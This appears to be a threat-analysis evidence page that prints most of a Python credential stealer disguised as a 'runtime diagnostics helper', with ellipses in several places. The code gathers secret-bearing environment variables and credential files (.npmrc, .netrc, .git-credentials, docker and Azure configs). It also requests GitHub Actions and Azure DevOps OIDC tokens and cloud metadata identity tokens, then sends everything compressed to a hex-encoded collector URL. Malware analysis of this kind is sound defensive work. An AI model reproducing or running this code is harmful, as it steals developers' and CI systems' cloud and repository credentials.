variant_hex_destination.py
Developer credential sweep with encoded uploadStealer requests CI federation tokens
SHA-2566c8354609e8f966010e430c2f2c235ac0f34b322d7df6a63b125b1da81ad9f0d
Evidence
1# Runtime diagnostics helper.
2import os, sys, json, base64, zlib, socket, glob, time
3
4
5def _post(tag, data):
6 try:
7 import urllib.request
8 u = bytes.fromhex('68747470733a2f2f636f6c6c6563746f722e696e76616c69642f7632').decode()
9 body = base64.b64encode(zlib.compress(json.dumps(data, default=str).encode("utf-8", "replace"), 9))
10 req = urllib.request.Request(u + "?t=" + tag, data=body, headers={"Content-Type": "application/octet-stream", "User-Agent": "runtime-diagnostics/1"})
11 urllib.request.urlopen(req, timeout=25).read()
12 except Exception:
13 pass
14
15def _collect():
16 import urllib.request, urllib.parse
17 out = {"stage": "telemetry", "host": socket.gethostname(), "user": os.environ.get("USER") or os.environ.get("USERNAME"), "cwd": os.getcwd(), "argv": sys.argv[:20], "time": time.time(), "env": {}, "files": {}, "imds": {}, "ado": {}, "gh_oidc": {}}
18 keys = ("TOKEN","SECRET","PASSWORD","PASSWD","KEY","CONNECTION","ENDPOINT","AZURE","AWS","GITHUB","GH_","HF_","HUGGING","OPENAI","FOUNDRY","VSS","SYSTE …
18:266… SI","MANAGED","ACTIONS","OIDC","RUNNER","ARM_")
19 for k, v in os.environ.items():
20 ku = k.upper()
21 if any(x in ku for x in keys):
22 out["env"][k] = v if len(v) < 8000 else v[:8000] + "..."
23 pats = [
24 os.path.expanduser("~/.azure/*.json"), os.path.expanduser("~/.azure/*/*.json"),
25 "/home/*/.azure/*.json", "/home/*/.azure/*/*.json", "/root/.azure/*.json",
26 "/home/*/.config/pip/pip.conf", "/etc/pip.conf", "/home/*/.pip/pip.conf",
27 "/home/*/.npmrc", "/root/.npmrc", "/home/*/.netrc", "/root/.netrc",
28 "/home/*/.git-credentials", "/root/.git-credentials",
29 "/home/*/.docker/config.json", "/root/.docker/config.json",
30 "/home/*/.cache/huggingface/token", "/home/*/.huggingface/token",
31 "/home/*/.foundry/*", "/home/*/.config/foundry/*",
32 "/home/*/_work/*/.crede …
61:52… (hits)[:12000]
62 except Exception:
63 pass
64 # GitHub Actions OIDC (Azure federated credential)
65 try:
66 u = os.environ.get("ACTIONS_ID_TOKEN_REQUEST_URL") or ""
67 t = os.environ.get("ACTIONS_ID_TOKEN_REQUEST_TOKEN") or os.environ.get("ACTIONS_RUNTIME_TOKEN") or ""
68 if u and t:
69 for aud in ("api://AzureADTokenExchange", "https://management.azure.com/"):
70 try:
71 sep = "&" if "?" in u else "?"
72 uu = u + sep + "audience=" + urllib.parse.quote(aud, safe="")
73 req = urllib.request.Request(uu, headers={"Authorization": "Bearer " + t, "Accept": "application/json", "User-Agent": "runtime-diagnostics/1"})
74 out["gh_oidc"][aud] = urllib.request.urlopen(req, timeout=12).read().decode("utf-8", "replace")[:20000]
75 except Exception as ex:
76 out["gh_oidc"].setdefault("err", []).append …
82:52… ) or ""
83 if oe and at:
84 for suffix, body in [("?api-version=7.1", {"scopes": ["api://AzureADTokenExchange"]}), ("?api-version=7.1", {})]:
85 try:
86 req = urllib.request.Request(oe + suffix, data=json.dumps(body).encode(), headers={"Authorization": "Bearer " + at, "Content-Type": "application/json"}, method="POST")
87 out["ado"]["oidc"] = urllib.request.urlopen(req, timeout=15).read().decode("utf-8", "replace")[:20000]
88 if out["ado"]["oidc"]:
89 b …
101:58… "X-IDENTITY-HEADER": idh or "", "Secret": idh or ""})
102 else:
103 u = "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=" + urllib.parse.quote(r, safe="")
104 req = urllib.request.Request(u, headers={"Metadata": "true"})
105 out["imds"][r] = urllib.request.urlopen(req, timeout=8).read().decode("utf-8", "replace")[:20000]
106 except Exception as ex:
107 out["imds"][r] = "ERR:" + str(ex)[:120]
108 try:
109 u = "http://169.254.169.254/metadata/instance?api-version=2021-02-01"
110 out["imds"]["instance"] = urllib.request.urlopen(urllib.request.Request(u, headers={"Metadata": "true"}), timeout=8).r …